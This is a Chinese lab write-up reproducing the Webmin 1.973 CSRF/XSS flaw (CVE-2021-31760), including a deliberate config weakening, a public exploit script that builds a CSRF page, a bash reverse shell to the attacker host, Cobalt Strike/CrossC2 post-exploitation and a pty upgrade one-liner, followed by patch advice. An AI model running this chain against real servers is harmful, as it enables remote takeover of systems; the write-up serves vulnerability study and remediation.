Webmin是基于Web的界面的用于类Unix的系统管理工具。远程攻击者可以通过社工管理员,通过CSRF漏洞以及XSS漏洞,实现获取服务器信息,远程服务器的代码执行例如bash反弹,进而控制并接管服务器。属于Web应用类的高危漏洞。简单一句话:Webmin 1.973及更低版本,如果使用setup.pl
脚本安装Webmin
,则会出现XSS漏洞(CVE-2021-31760、CVE-2021-31761、CVE-2021-31762)
CSRF需要攻击者、客户端管理员、服务器三者配合才能实现,我这里为了省事方便,将客户端和服务端都放在了ubuntu18上面。
攻击机:192.168.91.135 kali-2021
目标机+网站管理员:192.168.91.137 Ubuntu 18.04 Desktop(64)
工具:https://192.168.91.137:10000、火狐浏览器(CSRF漏洞复现时,不能使用谷歌浏览器,谷歌浏览器自带屏蔽CSRF)
Webmin版本:Webmin 1.973
1、下载webmin安装包
wget http://prdownloads.sourceforge.net/webadmin/webmin_1.973_all.deb
2、安装相关的依赖文件
apt-get install perl libnet-ssleay-perl openssl libauthen-pam-perl libpam-runtime libio-pty-perl apt-show-versions python unzip
3、安装webmin
dpkg -i webmin_1.973_all.deb #如果这个不行,就试试下面的这个
dpkg -i webmin_1.973_all.deb.1 #多试试,还有可能有.2的
安装完成后,系统默认开启10000端口,链接访问即可:https://192.168.91.137:10000
4、由于我这里是用Deb安装,其实是不存在漏洞的,为了重现漏洞环境,将/etc/webmin/config
文件中的referers_none=1
改为referers_none=0
即可
Webmin版本<=1.973
1、服务器webmin版本<=1.973
并且使用setup.pl
脚本安装
2、客户端管理员登陆到webmin
成功,不关闭浏览器且不退出登陆的同时,新建标签页打开攻击者构造的html网页
3、客户端管理员以root
身份登陆到网站
1、管理员利用了非推荐的setup.pl
脚本安装了版本<=1.973
的webmin
,致使默认情况下不会启用检查未知引用的程序,即/etc/webmin/config
中无referers_none=1
此行代码,也就不存在referer字段验证,产生CSRF漏洞。
2、攻击者可通过精心伪造登陆界面,向/proc/run.cgi
的cmd
参数通过POST方式提交命令执行的代码,进而控制整个服务器。
1、目标机管理员以root正常登陆https://192.168.91.137:10000 webmin页面,账号为root,密码默认为系统的
2、攻击机下载POC
github原项目:proxychains git clone https://github.com/electronicbots/CVE-2021-31760
github备用网址:proxychains git clone https://github.com/sukusec301/CVE-2021-31760
3、启用此脚本,按照脚本逻辑依次填写目标IP、攻击机IP、攻击机监听端口、反弹shell类型信息
cd CVE-2021-31760
python3 RCE_eXploit.py
4、进入CVE-2021-31760
脚本文件夹,可以看到生成了CSRF_POC.html
文件
5、在此目录下打开终端,使用python3
开启http
服务
python3 -m http.server 5555
6、在不关闭浏览器并且不退出当前登陆的情况下,新建标签页访问192.168.91.135:5555
,点击访问CSRF_POC.html
7、可以看到Kali
监听端口这里收到了目标机器的bash
反弹
8、启动CS服务与客户端
nohup ./teamserver 192.168.91.135 mima & #后台启动,不占用前台资源
./cobaltstrike & #后台启动,不占用前台资源
9、由于CS默认不支持Linux系统上线,所以需要安装一个插件——CrossC2(https://github.com/gloxec/CrossC2),并且CS导入CrossC2
10、将获得的shell使用python一句话将其转换成交互式shell,随后CS CrossC2生成上线命令,使其上线
python3 -c "import pty;pty.spawn('/bin/bash')"
11、之后可以进行内网信息探测,内网渗透,在这里不再赘述。
1、更新Webmin,使其版本达到1.973以上
2、次者,请使用标准的RPM、Deb、TAR和Solaris软件包安装,因为它们不使用setup.pl
脚本安装webmin
,因此不容易受到攻击
3、再次者,如果确实使用setup.pl
脚本进行安装,则可以通过将行referers_none=1
添加到/etc/webmin/config
中来修复这个此漏洞